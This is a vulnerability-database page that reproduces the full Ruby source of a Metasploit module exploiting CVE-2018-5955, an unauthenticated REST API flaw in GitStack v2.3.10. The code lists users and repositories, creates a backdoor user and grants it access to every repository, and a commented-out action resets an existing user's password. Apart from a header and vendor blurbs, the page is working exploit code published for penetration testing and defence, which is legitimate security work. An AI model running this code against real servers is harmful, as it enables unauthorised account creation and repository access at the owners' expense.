Lucene search
K

GitStack Unauthenticated REST API Requests

🗓️ 26 Feb 2018 12:04:38Reported by Kacper Szurek, Jacob RoblesType 
metasploit
 metasploit
🔗 www.rapid7.com👁 45 Views

GitStack Unauthenticated REST API Requests module for exploiting unauthenticated REST API requests in GitStack v2.3.10

Related
Code
ReporterTitlePublishedViews
Family
0day.today
GitStack - Unsanitized Argument Remote Code Execution Exploit
29 Mar 201800:00
zdt
Circl
CVE-2018-5955
29 Mar 201800:00
circl
CNVD
GitStack Server User Add Vulnerability
22 Jan 201800:00
cnvd
Check Point Advisories
GitStack Authentication Bypass (CVE-2018-5955)
16 Jun 202000:00
checkpoint_advisories
CVE
CVE-2018-5955
21 Jan 201822:00
cve
Cvelist
CVE-2018-5955
21 Jan 201822:00
cvelist
Exploit DB
GitStack - Remote Code Execution
15 Jan 201800:00
exploitdb
Exploit DB
GitStack - Unsanitized Argument Remote Code Execution (Metasploit)
29 Mar 201800:00
exploitdb
exploitpack
GitStack - Remote Code Execution
15 Jan 201800:00
exploitpack
Metasploit
GitStack Unsanitized Argument RCE
5 Mar 201819:25
metasploit
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'GitStack Unauthenticated REST API Requests',
        'Description' => %q{
          This modules exploits unauthenticated REST API requests in GitStack through v2.3.10.
          The module supports requests for listing users of the application and listing
          available repositories. Additionally, the module can create a user and add the user
          to the application's repositories. This module has been tested against GitStack v2.3.10.
        },
        'Author' => [
          'Kacper Szurek', # Vulnerability discovery and PoC
          'Jacob Robles' # Metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2018-5955'],
          ['EDB', '43777'],
          ['EDB', '44044']
        ],
        'DisclosureDate' => '2018-01-15',
        'Actions' => [
          [
            'LIST',
            {
              'Description' => 'List application users',
              'List' => 'GET',
              'UserPath' => '/rest/user/'
            }
          ],
          [
            'CREATE',
            {
              'Description' => 'Create a user on the application',
              'Create' => 'POST',
              'List' => 'GET',
              'UserPath' => '/rest/user/',
              'RepoPath' => '/rest/repository/'
            }
          ],
          # If this is uncommented, you will be able to change an
          # existing user's password.
          # After modifying the user's password, the user will be
          # added to all available repositories.
          # The cleanup action removes the user from all repositories
          # and then deletes the user... so this action may not be desirable.
          # [
          # 'MODIFY',
          # {
          # 'Description' => "Change the application user's password",
          # 'Create'      => 'PUT',
          # 'List'        => 'GET',
          # 'UserPath'    => '/rest/user/',
          # 'RepoPath'    => '/rest/repository/'
          # }
          # ],
          [
            'LIST_REPOS',
            {
              'Description' => 'List available repositories',
              'List' => 'GET',
              'RepoPath' => '/rest/repository/'
            }
          ],
          [
            'CLEANUP',
            {
              'Description' => 'Remove user from repositories and delete user',
              'List' => 'GET',
              'Remove' => 'DELETE',
              'RepoPath' => '/rest/repository/',
              'UserPath' => '/rest/user/'
            }
          ]
        ],
        'DefaultAction' => 'LIST'
      )
    )

    register_options(
      [
        OptString.new('USERNAME', [false, 'User to create or modify', 'msf']),
        OptString.new('PASSWORD', [false, 'Password for user', 'password'])
      ]
    )
  end

  def get_users
    path = action.opts['UserPath']
    begin
      res = send_request_cgi({
        'uri' => path,
        'method' => action.opts['List']
      })
    rescue Rex::ConnectionError, Errno::ECONNRESET => e
      print_error("Failed: #{e.class} - #{e.message}")
      return
    end
    if res && res.code == 200
      begin
        mylist = res.get_json_document
        mylist -= ['everyone']
      rescue JSON::ParserError => e
        print_error("Failed: #{e.class} - #{e.message}")
        return
      end
      mylist.each do |item|
        print_good(item.to_s)
      end
    end
  end

  def get_repos
    path = action.opts['RepoPath']
    begin
      res = send_request_cgi({
        'uri' => path,
        'method' => action.opts['List']
      })
    rescue Rex::ConnectionError, Errno::ECONNRESET => e
      print_error("Failed: #{e.class} - #{e.message}")
      return nil
    end
    if res && res.code == 200
      begin
        mylist = res.get_json_document
        return mylist
      rescue JSON::ParserError => e
        print_error("Failed: #{e.class} - #{e.message}")
        return nil
      end
    else
      return nil
    end
  end

  def clean_app
    user = datastore['USERNAME']
    unless user
      print_error('USERNAME required')
      return
    end

    mylist = get_repos
    if mylist
      # Remove user from each repository
      mylist.each do |item|
        path = "#{action.opts['RepoPath']}#{item['name']}/user/#{user}/"
        begin
          res = send_request_cgi({
            'uri' => path,
            'method' => action.opts['Remove']
          })
        rescue Rex::ConnectionError, Errno::ECONNRESET => e
          print_error("Failed: #{e.class} - #{e.message}")
          return
        end

        if res && res.code == 200
          print_good(res.body.to_s)
        else
          print_status("User #{user} doesn't have access to #{item['name']}")
        end
      end
    end

    # Delete the user account
    path = "#{action.opts['UserPath']}#{user}/"
    begin
      res = send_request_cgi({
        'uri' => path,
        'method' => action.opts['Remove']
      })
    rescue Rex::ConnectionError, Errno::ECONNRESET => e
      print_error("Failed: #{e.class} - #{e.message}")
      return
    end

    # Check if the account was successfully deleted
    if res && res.code == 200
      print_good(res.body.to_s)
    else
      print_error(res.body.to_s)
    end
  end

  def add_user
    user = datastore['USERNAME']
    pass = datastore['PASSWORD']

    begin
      res = send_request_cgi({
        'uri' => action.opts['UserPath'],
        'method' => action.opts['Create'],
        'vars_post' => {
          'username' => user,
          'password' => pass
        }
      })
    rescue Rex::ConnectionError, Errno::ECONNRESET => e
      print_error("Failed: #{e.class} - #{e.message}")
      return
    end
    if res && res.code == 200
      print_good("SUCCESS: #{user}:#{pass}")
    else
      print_error(res.body.to_s)
      return
    end

    mylist = get_repos
    if mylist
      mylist.each do |item|
        path = "#{action.opts['RepoPath']}#{item['name']}/user/#{user}/"
        begin
          res = send_request_cgi({
            'uri' => path,
            'method' => action.opts['Create']
          })
        rescue Rex::ConnectionError, Errno::ECONNRESET => e
          print_error("Failed: #{e.class} - #{e.message}")
          next
        end
        if res && res.code == 200
          print_good(res.body.to_s)
        else
          print_error('Failed to add user')
          print_error(res.body.to_s)
        end
      end
    else
      print_error('Failed to retrieve repository list')
    end
  end

  def run
    if ['LIST'].include?(action.name)
      print_status('Retrieving Users')
      get_users
    elsif ['LIST_REPOS'].include?(action.name)
      print_status('Retrieving Repositories')
      mylist = get_repos
      if mylist
        mylist.each do |item|
          print_good((item['name']).to_s)
        end
      else
        print_error('Failed to retrieve repository list')
      end
    elsif ['CLEANUP'].include?(action.name)
      clean_app
    elsif datastore['USERNAME'] && datastore['PASSWORD']
      add_user
    else
      print_error('USERNAME and PASSWORD required')
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation